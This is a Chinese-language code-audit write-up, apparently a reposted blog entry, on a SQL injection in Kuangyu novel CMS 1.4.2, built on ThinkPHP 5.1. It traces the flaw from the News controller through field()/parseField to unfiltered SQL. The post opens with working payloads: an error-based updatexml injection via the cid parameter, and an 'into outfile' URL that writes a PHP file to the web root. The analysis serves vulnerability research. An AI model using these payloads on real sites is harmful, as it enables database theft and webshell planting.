PHP代码审计—某雨小说CMS注入到Getshell
source link: https://bewhale.github.io/post/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E2%80%94%E6%9F%90%E9%9B%A8%E5%B0%8F%E8%AF%B4CMS%E6%B3%A8%E5%85%A5%E5%88%B0Getshell/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
论坛有位老哥发了某个基于TP5框架开发的一个小说网站的注入漏洞,
拿到源码分析一下
CMS版本:1.4.2
官网地址:
狂雨小说cms - 狂雨小说cms - Powered by HYBBS (kyxscms.com)
Payload
http://127.0.0.1/?s=api/news/category&cid=updatexml(1,concat(0x7e,user(),0x7e),1)%20--+-
getshell:
// 需要有导出文件权限并且知道绝对路径
http://127.0.0.1/?s=api/news/category&cid='<?php phpinfo()?>' into outfile '/var/wzww/html/test.php'
该cms基于ThinkPHP V5.1.33 LTS开发
漏洞触发点在 \application\api\controller\News.php
category方法获取了三个参数,三个参数可控,重点关注$cid
public function category($cid=false,$type=1,$filter=false){
$category=model('api/api')->category($cid,$type,$filter);
return json(["code"=>1,"data"=>$category]);
}
跟进 category($cid,$type,$filter)
方法
这里主要关注get_nav
方法的第五个参数,Request::param('cid')
,获取了我们传入的$cid
参数,
get_nav
第一个参数和第五个参数是一样的,但是只有第五个参数能造成注入
get_nav
函数形参只有五个,但是这里传入了六个参数,这里不会报错,多余的参数不做处理
感觉这里像是故意留的后门。
public function category($cid,$type,$filter){
$api=model('common/api');
$api->api_url=true;
$category=$api->get_nav($cid,$type,$filter,false,Request::param('cid'),'id,title,pid,icon,type');
foreach ($category as $key => $value) {
$class[$key]=$value;
if($value['branch']==1){
$class[$key]['subor']=$this->category($value['id'],$type,$filter);
}
}
return $class;
}
跟进get_nav($cid,$type,$filter,false,Request::param('cid'),'id,title,pid,icon,type')
方法
这里的 $category
和 $field
值是一样的,都是我们传入的 cid
的值, 这里也没进行任何过滤操作,
where() 函数 采用了pdo预处理,而field()函数并没有,所以造成了注入
public function get_nav($category,$type,$limit,$cid,$field=true){
$map = ['status' => 1,'pid' => $category];
if($type!==false){
$map['type']=$type;
}
$data=Db::name('category')->field($field)->where($map)->limit($limit)->order('sort')->select();
......
}
跟进field($field)
方法,这里处理的是 知道查询的字段,并没有进行结构化处理,
如果$field
为字符串,并且有[
、]
、<
、'
、"
、(
字符时,
调用fieldRaw()方法,将其变成一个查询表达式,并返回,并未进行过滤处理
/**
* 指定查询字段 支持字段排除和指定数据表
* @access public
* @param mixed $field
* @param boolean $except 是否排除
* @param string $tableName 数据表名
* @param string $prefix 字段前缀
* @param string $alias 别名前缀
* @return $this
*/
public function field($field, $except = false, $tableName = '', $prefix = '', $alias = '')
{
if (empty($field)) {
return $this;
} elseif ($field instanceof Expression) {
$this->options['field'][] = $field;
return $this;
}
if (is_string($field)) {
if (preg_match('/[\<\'\"\(]/', $field)) {
return $this->fieldRaw($field);
}
$field = array_map('trim', explode(',', $field));
}
if (true === $field) {
// 获取全部字段
$fields = $this->getTableFields($tableName);
$field = $fields ?: ['*'];
} elseif ($except) {
// 字段排除
$fields = $this->getTableFields($tableName);
$field = $fields ? array_diff($fields, $field) : $field;
}
if ($tableName) {
// 添加统一的前缀
$prefix = $prefix ?: $tableName;
foreach ($field as $key => &$val) {
if (is_numeric($key) && $alias) {
$field[$prefix . '.' . $val] = $alias . $val;
unset($field[$key]);
} elseif (is_numeric($key)) {
$val = $prefix . '.' . $val;
}
}
}
if (isset($this->options['field'])) {
$field = array_merge((array) $this->options['field'], $field);
}
$this->options['field'] = array_unique($field);
return $this;
}
然后直接跟进 select() 方法,\thinkphp\library\think\db\Connection.php
/**
* 查找记录
* @access public
* @param Query $query 查询对象
* @return array|\PDOStatement|string
* @throws DbException
* @throws ModelNotFoundException
* @throws DataNotFoundException
*/
public function select(Query $query)
{
// 分析查询表达式
$options = $query->getOptions();
if (empty($options['fetch_sql']) && !empty($options['cache'])) {
$resultSet = $this->getCacheData($query, $options['cache'], null, $key);
if (false !== $resultSet) {
return $resultSet;
}
}
// 生成查询SQL
$sql = $this->builder->select($query);
......
}
跟进生成查询sql $this->builder->select()
方法
\thinkphp\library\think\db\Builder.php
public function select(Query $query)
{
$options = $query->getOptions();
return str_replace(
['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
[
$this->parseTable($query, $options['table']),
$this->parseDistinct($query, $options['distinct']),
$this->parseField($query, $options['field']),
$this->parseJoin($query, $options['join']),
$this->parseWhere($query, $options['where']),
$this->parseGroup($query, $options['group']),
$this->parseHaving($query, $options['having']),
$this->parseOrder($query, $options['order']),
$this->parseLimit($query, $options['limit']),
$this->parseUnion($query, $options['union']),
$this->parseLock($query, $options['lock']),
$this->parseComment($query, $options['comment']),
$this->parseForce($query, $options['force']),
],
$this->selectSql);
}
跟进 parseField()
方法, 并未对$fields
参数进行任何过滤,也没进行参数绑定结构化查询处理,
直接替换在了 select 语句后面 所以造成了注入
protected function parseField(Query $query, $fields)
{
if ('*' == $fields || empty($fields)) {
$fieldsStr = '*';
} elseif (is_array($fields)) {
// 支持 'field1'=>'field2' 这样的字段别名定义
$array = [];
foreach ($fields as $key => $field) {
if (!is_numeric($key)) {
$array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true);
} else {
$array[] = $this->parseKey($query, $field);
}
}
$fieldsStr = implode(',', $array);
}
return $fieldsStr;
}
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK